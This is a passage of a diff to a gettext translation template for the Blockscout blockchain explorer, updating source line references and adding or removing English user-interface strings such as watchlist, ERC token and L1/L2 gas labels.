lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:28 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:28 #, elixir-autogen, elixir-format msgid "Drop the standard input JSON file or click here" msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:22 -#, elixir-autogen, elixir-format -msgid "During times when the network is busy (i.e during ICOs) it can take a while for your transaction to propagate through the network and for us to index it." -msgstr "" - +#: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:6 #: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:6 #, elixir-autogen, elixir-format msgid "EIP-1167" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:214 +#: lib/block_scout_web/views/transaction_view.ex:225 +#: lib/block_scout_web/views/transaction_view.ex:225 #, elixir-autogen, elixir-format msgid "ERC-1155 " msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:212 +#: lib/block_scout_web/views/transaction_view.ex:223 +#: lib/block_scout_web/views/transaction_view.ex:223 #, elixir-autogen, elixir-format msgid "ERC-20 " msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:213 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:40 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:40 +#, elixir-autogen, elixir-format +msgid "ERC-20 tokens (beta)" +msgstr "" + +#: lib/block_scout_web/views/transaction_view.ex:226 +#: lib/block_scout_web/views/transaction_view.ex:226 +#, elixir-autogen, elixir-format +msgid "ERC-404 " +msgstr "" + +#: lib/block_scout_web/views/transaction_view.ex:224 +#: lib/block_scout_web/views/transaction_view.ex:224 #, elixir-autogen, elixir-format msgid "ERC-721 " msgstr "" -#: lib/block_scout_web/templates/address_token/overview.html.eex:1 -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:104 -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:104 -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:146 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:53 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:53 #, elixir-autogen, elixir-format -msgid "ETH" +msgid "ERC-721, ERC-1155 tokens (NFT) (beta)" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:4 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:4 #, elixir-autogen, elixir-format msgid "ETH RPC API Documentation" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:76 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract/index.html.eex:82 +#: lib/block_scout_web/templates/address_contract/index.html.eex:82 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:22 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:22 #, elixir-autogen, elixir-format msgid "EVM Version" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#, elixir-autogen, elixir-format +msgid "EVM version details" +msgstr "" + +#: lib/block_scout_web/views/block_transaction_view.ex:7 #: lib/block_scout_web/views/block_transaction_view.ex:7 #, elixir-autogen, elixir-format msgid "Easy Cowboy! This block does not exist yet!" msgstr "" +#: lib/block_scout_web/templates/account/api_key/row.html.eex:16 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:16 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:16 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:16 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:27 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:27 +#, elixir-autogen, elixir-format +msgid "Edit" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Edit Watch list address" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:71 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:71 +#, elixir-autogen, elixir-format +msgid "Email notifications" +msgstr "" + +#: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:5 #: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:5 #, elixir-autogen, elixir-format msgid "Emission Contract" msgstr "" -#: lib/block_scout_web/views/block_view.ex:71 +#: lib/block_scout_web/views/block_view.ex:73 +#: lib/block_scout_web/views/block_view.ex:73 #, elixir-autogen, elixir-format msgid "Emission Reward" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:68 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:72 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:72 #, elixir-autogen, elixir-format msgid "Enter the Solidity Contract Code" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:22 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:22 #, elixir-autogen, elixir-format msgid "Enter the Vyper Contract Code" msgstr "" +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:11 #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:11 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 #, elixir-autogen, elixir-format msgid "Error" msgstr "" -#: lib/block_scout_web/templates/transaction/_tile.html.eex:9 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:11 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:11 #, elixir-autogen, elixir-format msgid "Error in internal transactions" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:33 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:33 #, elixir-autogen, elixir-format msgid "Error rendering value" msgstr "" +#: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:10 #: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:10 #, elixir-autogen, elixir-format msgid "Error trying to fetch balances." msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:353 +#: lib/block_scout_web/views/transaction_view.ex:379 +#: lib/block_scout_web/views/transaction_view.ex:379 #, elixir-autogen, elixir-format msgid "Error: %{reason}" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:351 +#: lib/block_scout_web/views/transaction_view.ex:377 +#: lib/block_scout_web/views/transaction_view.ex:377 #, elixir-autogen, elixir-format msgid "Error: (Awaiting internal transactions for reason)" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:137 +#: lib/block_scout_web/templates/address/overview.html.eex:120 +#: lib/block_scout_web/templates/address/overview.html.eex:120 #, elixir-autogen, elixir-format msgid "Error: Could not determine contract creator." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:109 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:120 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:120 #, elixir-autogen, elixir-format msgid "Eth RPC" msgstr "" -#: lib/block_scout_web/templates/address/_current_coin_balance.html.eex:11 -#: lib/block_scout_web/templates/address/index.html.eex:5 -#: lib/block_scout_web/templates/address/overview.html.eex:181 -#: lib/block_scout_web/templates/block/overview.html.eex:215 -#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:24 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:82 -#: lib/block_scout_web/templates/layout/app.html.eex:48 -#: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:20 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:43 -#: lib/block_scout_web/templates/transaction/overview.html.eex:403 -#: lib/block_scout_web/views/wei_helpers.ex:78 -#, elixir-autogen, elixir-format -msgid "Ether" -msgstr "" - +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:211 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:211 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:164 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:164 #, elixir-autogen, elixir-format msgid "Example Value" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:128 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:128 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:99 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:99 #, elixir-autogen, elixir-format msgid "Execute" msgstr "" -#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:55 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 #, elixir-autogen, elixir-format msgid "Expand" msgstr "" +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "Export" +msgstr "" + +#: lib/block_scout_web/templates/csv_export/index.html.eex:10 #: lib/block_scout_web/templates/csv_export/index.html.eex:10 #, elixir-autogen, elixir-format msgid "Export Data" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:224 +#: lib/block_scout_web/templates/address_contract/index.html.eex:248 +#: lib/block_scout_web/templates/address_contract/index.html.eex:248 #, elixir-autogen, elixir-format msgid "External libraries" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:40 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:40 #, elixir-autogen, elixir-format msgid "Failed to decode input data." msgstr "" #: lib/block_scout_web/templates/address_logs/_logs.html.eex:35 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:37 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:35 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:46 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:46 #, elixir-autogen, elixir-format msgid "Failed to decode log data." msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #, elixir-autogen, elixir-format msgid "Fast" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:265 +#: lib/block_scout_web/templates/address/overview.html.eex:249 +#: lib/block_scout_web/templates/address/overview.html.eex:249 #, elixir-autogen, elixir-format msgid "Fetching gas used..." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:111 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:112 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:112 #, elixir-autogen, elixir-format msgid "Fetching holders..." msgstr "" +#: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:7 #: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:7 #, elixir-autogen, elixir-format msgid "Fetching tokens..." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:212 -#: lib/block_scout_web/templates/address/overview.html.eex:220 +#: lib/block_scout_web/templates/address/overview.html.eex:196 +#: lib/block_scout_web/templates/address/overview.html.eex:196 +#: lib/block_scout_web/templates/address/overview.html.eex:204 +#: lib/block_scout_web/templates/address/overview.html.eex:204 #, elixir-autogen, elixir-format msgid "Fetching transactions..." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:239 -#: lib/block_scout_web/templates/address/overview.html.eex:247 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:122 +#: lib/block_scout_web/templates/address/overview.html.eex:223 +#: lib/block_scout_web/templates/address/overview.html.eex:223 +#: lib/block_scout_web/templates/address/overview.html.eex:231 +#: lib/block_scout_web/templates/address/overview.html.eex:231 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:123 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:123 #, elixir-autogen, elixir-format msgid "Fetching transfers..." msgstr "" +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:15 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:15 +#, elixir-autogen, elixir-format +msgid "Filter by compiler:" +msgstr "" + +#: lib/block_scout_web/templates/admin/dashboard/index.html.eex:16 #: lib/block_scout_web/templates/admin/dashboard/index.html.eex:16 #, elixir-autogen, elixir-format msgid "For any existing contracts in the database, insert all ABI entries into the contract_methods table. Use this in case you have verified smart contracts before early March 2019 and you want other contracts with the same functions to show those ABI's as candidate matches." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:39 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:7 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "For contract" +msgstr "" + +#: lib/block_scout_web/templates/layout/_topnav.html.eex:44 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:44 #, elixir-autogen, elixir-format msgid "Forked Blocks (Reorgs)" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:42 +#: lib/block_scout_web/templates/layout/_footer.html.eex:45 +#: lib/block_scout_web/templates/layout/_footer.html.eex:45 #, elixir-autogen, elixir-format msgid "Forum" msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:38 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:38 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:40 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:40 #: lib/block_scout_web/templates/address_transaction/index.html.eex:34 -#: lib/block_scout_web/templates/transaction/overview.html.eex:195 -#: lib/block_scout_web/views/address_internal_transaction_view.ex:10 -#: lib/block_scout_web/views/address_token_transfer_view.ex:10 -#: lib/block_scout_web/views/address_transaction_view.ex:10 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:34 +#: lib/block_scout_web/templates/transaction/overview.html.eex:246 +#: lib/block_scout_web/templates/transaction/overview.html.eex:246 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:11 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:11 +#: lib/block_scout_web/views/address_token_transfer_view.ex:11 +#: lib/block_scout_web/views/address_token_transfer_view.ex:11 +#: lib/block_scout_web/views/address_transaction_view.ex:11 +#: lib/block_scout_web/views/address_transaction_view.ex:11 #, elixir-autogen, elixir-format msgid "From" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:18 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:18 #, elixir-autogen, elixir-format msgid "GET" msgstr "" #: lib/block_scout_web/templates/block/_tile.html.eex:67 -#: lib/block_scout_web/templates/block/overview.html.eex:187 -#: lib/block_scout_web/templates/transaction/overview.html.eex:365 +#: lib/block_scout_web/templates/block/_tile.html.eex:67 +#: lib/block_scout_web/templates/block/overview.html.eex:189 +#: lib/block_scout_web/templates/block/overview.html.eex:189 +#: lib/block_scout_web/templates/transaction/overview.html.eex:430 +#: lib/block_scout_web/templates/transaction/overview.html.eex:430 #, elixir-autogen, elixir-format msgid "Gas Limit" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:345 +#: lib/block_scout_web/templates/transaction/overview.html.eex:404 +#: lib/block_scout_web/templates/transaction/overview.html.eex:404 #, elixir-autogen, elixir-format msgid "Gas Price" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:258 +#: lib/block_scout_web/templates/address/overview.html.eex:242 +#: lib/block_scout_web/templates/address/overview.html.eex:242 #: lib/block_scout_web/templates/block/_tile.html.eex:73 -#: lib/block_scout_web/templates/block/overview.html.eex:178 +#: lib/block_scout_web/templates/block/_tile.html.eex:73 +#: lib/block_scout_web/templates/block/overview.html.eex:180 +#: lib/block_scout_web/templates/block/overview.html.eex:180 #, elixir-autogen, elixir-format msgid "Gas Used" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:418 +#: lib/block_scout_web/templates/transaction/overview.html.eex:489 +#: lib/block_scout_web/templates/transaction/overview.html.eex:489 #, elixir-autogen, elixir-format msgid "Gas Used by Transaction" msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:3 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:3 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:18 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:18 #, elixir-autogen, elixir-format msgid "Gas tracker" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:257 +#: lib/block_scout_web/templates/address/overview.html.eex:241 +#: lib/block_scout_web/templates/address/overview.html.eex:241 #, elixir-autogen, elixir-format msgid "Gas used by the address." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:60 #: lib/block_scout_web/templates/block/overview.html.eex:60 #, elixir-autogen, elixir-format msgid "Genesis Block" msgstr "" +#: lib/block_scout_web/templates/layout/_footer.html.eex:24 #: lib/block_scout_web/templates/layout/_footer.html.eex:24 #, elixir-autogen, elixir-format msgid "Github" msgstr "" +#: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:8 #: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:8 #, elixir-autogen, elixir-format msgid "Go to" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:99 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:110 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:110 #, elixir-autogen, elixir-format msgid "GraphQL" msgstr "" #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:11 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:11 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:38 -#: lib/block_scout_web/views/block_view.ex:21 -#: lib/block_scout_web/views/wei_helpers.ex:77 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:38 +#: lib/block_scout_web/views/block_view.ex:22 +#: lib/block_scout_web/views/block_view.ex:22 +#: lib/block_scout_web/views/wei_helper.ex:81 +#: lib/block_scout_web/views/wei_helper.ex:81 #, elixir-autogen, elixir-format msgid "Gwei" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:123 #: lib/block_scout_web/templates/block/overview.html.eex:123 #, elixir-autogen, elixir-format msgid "Hash" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:446 -#: lib/block_scout_web/templates/transaction/overview.html.eex:450 +#: lib/block_scout_web/templates/transaction/overview.html.eex:553 +#: lib/block_scout_web/templates/transaction/overview.html.eex:553 +#: lib/block_scout_web/templates/transaction/overview.html.eex:557 +#: lib/block_scout_web/templates/transaction/overview.html.eex:557 #, elixir-autogen, elixir-format msgid "Hex (Default)" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:107 +#: lib/block_scout_web/templates/transaction/overview.html.eex:224 +#: lib/block_scout_web/templates/transaction/overview.html.eex:224 +#, elixir-autogen, elixir-format +msgid "Highlighted events of the transaction." +msgstr "" + +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:108 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:108 #, elixir-autogen, elixir-format msgid "Holders" msgstr "" +#: lib/block_scout_web/templates/tokens/index.html.eex:48 +#: lib/block_scout_web/templates/tokens/index.html.eex:48 +#, elixir-autogen, elixir-format +msgid "Holders Count" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:11 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:11 #, elixir-autogen, elixir-format msgid "However, in general, the" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:19 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:19 #, elixir-autogen, elixir-format msgid "IMPORTANT: This information is a best guess based on similar functions from other verified contracts." msgstr "" #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:42 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:86 +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:42 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:92 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:92 #, elixir-autogen, elixir-format msgid "IN" msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:56 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:56 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:48 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:48 +#, elixir-autogen, elixir-format +msgid "If you enabled optimization during compilation, select yes." +msgstr "" + +#: lib/block_scout_web/templates/address/overview.html.eex:135 +#: lib/block_scout_web/templates/address/overview.html.eex:135 #, elixir-autogen, elixir-format -msgid "If it still does not show up after 1 hour, please check with your sender/exchange/wallet/transaction provider for additional information." +msgid "Implementation" msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:12 +#: lib/block_scout_web/templates/address/overview.html.eex:134 +#: lib/block_scout_web/templates/address/overview.html.eex:134 #, elixir-autogen, elixir-format -msgid "If you have just submitted this transaction please wait for at least 30 seconds before refreshing this page." +msgid "Implementation address of the proxy contract." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:150 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:3 #, elixir-autogen, elixir-format -msgid "Implementation" +msgid "Include nightly builds" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:149 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:30 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:30 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:43 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:43 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:56 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:56 #, elixir-autogen, elixir-format -msgid "Implementation address of the proxy contract." +msgid "Incoming" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:430 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:23 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:23 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:23 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:23 +#, elixir-autogen, elixir-format +msgid "Index" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 #, elixir-autogen, elixir-format msgid "Index position of Transaction in the block." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:249 +#: lib/block_scout_web/templates/block/overview.html.eex:251 +#: lib/block_scout_web/templates/block/overview.html.eex:251 #, elixir-autogen, elixir-format msgid "Index position(s) of referenced stale blocks." msgstr "" +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:6 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:6 #, elixir-autogen, elixir-format msgid "Indexed?" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:44 -#, elixir-autogen, elixir-format -msgid "Indexing Tokens" -msgstr "" - +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:3 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:3 #, elixir-autogen, elixir-format msgid "Input" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:213 +#: lib/block_scout_web/templates/transaction/overview.html.eex:265 +#: lib/block_scout_web/templates/transaction/overview.html.eex:265 #, elixir-autogen, elixir-format msgid "Interacted With (To)" msgstr "" +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:7 #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:7 #, elixir-autogen, elixir-format msgid "Internal Transaction" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:28 +#: lib/block_scout_web/templates/address/_tabs.html.eex:36 +#: lib/block_scout_web/templates/address/_tabs.html.eex:36 +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:17 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:17 #: lib/block_scout_web/templates/transaction/_tabs.html.eex:11 +#: lib/block_scout_web/templates/transaction/_tabs.html.eex:11 #: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:6 -#: lib/block_scout_web/views/address_view.ex:361 -#: lib/block_scout_web/views/transaction_view.ex:512 +#: lib/block_scout_web/templates/transaction_internal_transaction/index.html.eex:6 +#: lib/block_scout_web/views/address_view.ex:353 +#: lib/block_scout_web/views/address_view.ex:353 +#: lib/block_scout_web/views/transaction_view.ex:552 +#: lib/block_scout_web/views/transaction_view.ex:552 #, elixir-autogen, elixir-format msgid "Internal Transactions" msgstr "" -#: lib/block_scout_web/templates/transaction/invalid.html.eex:6 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:7 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Internal server error" +msgstr "" + +#: lib/block_scout_web/views/internal_transaction_view.ex:25 +#: lib/block_scout_web/views/internal_transaction_view.ex:25 #, elixir-autogen, elixir-format -msgid "Invalid Transaction Hash" +msgid "Invalid" msgstr "" -#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:15 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:16 +#: lib/block_scout_web/templates/tokens/inventory/index.html.eex:16 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:19 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:19 +#: lib/block_scout_web/views/tokens/overview_view.ex:42 #: lib/block_scout_web/views/tokens/overview_view.ex:42 #, elixir-autogen, elixir-format msgid "Inventory" msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:16 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:3 #, elixir-autogen, elixir-format -msgid "It could still be in the TX Pool of a different node, waiting to be broadcasted." +msgid "Is Yul contract" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:276 +#: lib/block_scout_web/templates/transaction/overview.html.eex:204 +#: lib/block_scout_web/templates/transaction/overview.html.eex:204 +#, elixir-autogen, elixir-format +msgid "L1 Block" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:523 +#: lib/block_scout_web/templates/transaction/overview.html.eex:523 +#: lib/block_scout_web/templates/transaction/overview.html.eex:524 +#: lib/block_scout_web/templates/transaction/overview.html.eex:524 +#, elixir-autogen, elixir-format +msgid "L1 Fee Scalar" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:512 +#: lib/block_scout_web/templates/transaction/overview.html.eex:512 +#: lib/block_scout_web/templates/transaction/overview.html.eex:513 +#: lib/block_scout_web/templates/transaction/overview.html.eex:513 +#, elixir-autogen, elixir-format +msgid "L1 Gas Price" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:501 +#: lib/block_scout_web/templates/transaction/overview.html.eex:501 +#: lib/block_scout_web/templates/transaction/overview.html.eex:502 +#: lib/block_scout_web/templates/transaction/overview.html.eex:502 +#, elixir-autogen, elixir-format +msgid "L1 Gas Used by Transaction" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:426 +#: lib/block_scout_web/templates/transaction/overview.html.eex:426 +#, elixir-autogen, elixir-format +msgid "L2 Gas Limit" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:400 +#: lib/block_scout_web/templates/transaction/overview.html.eex:400 +#, elixir-autogen, elixir-format +msgid "L2 Gas Price" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:485 +#: lib/block_scout_web/templates/transaction/overview.html.eex:485 +#, elixir-autogen, elixir-format +msgid "L2 Gas Used by Transaction" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:13 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:13 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:26 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:26 +#, elixir-autogen, elixir-format +msgid "Last 24h" +msgstr "" + +#: lib/block_scout_web/templates/address/overview.html.eex:260 +#: lib/block_scout_web/templates/address/overview.html.eex:260 #, elixir-autogen, elixir-format msgid "Last Balance Update" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:45 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:12 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 #, elixir-autogen, elixir-format -msgid "Less than" +msgid "Learn more" msgstr "" -#: 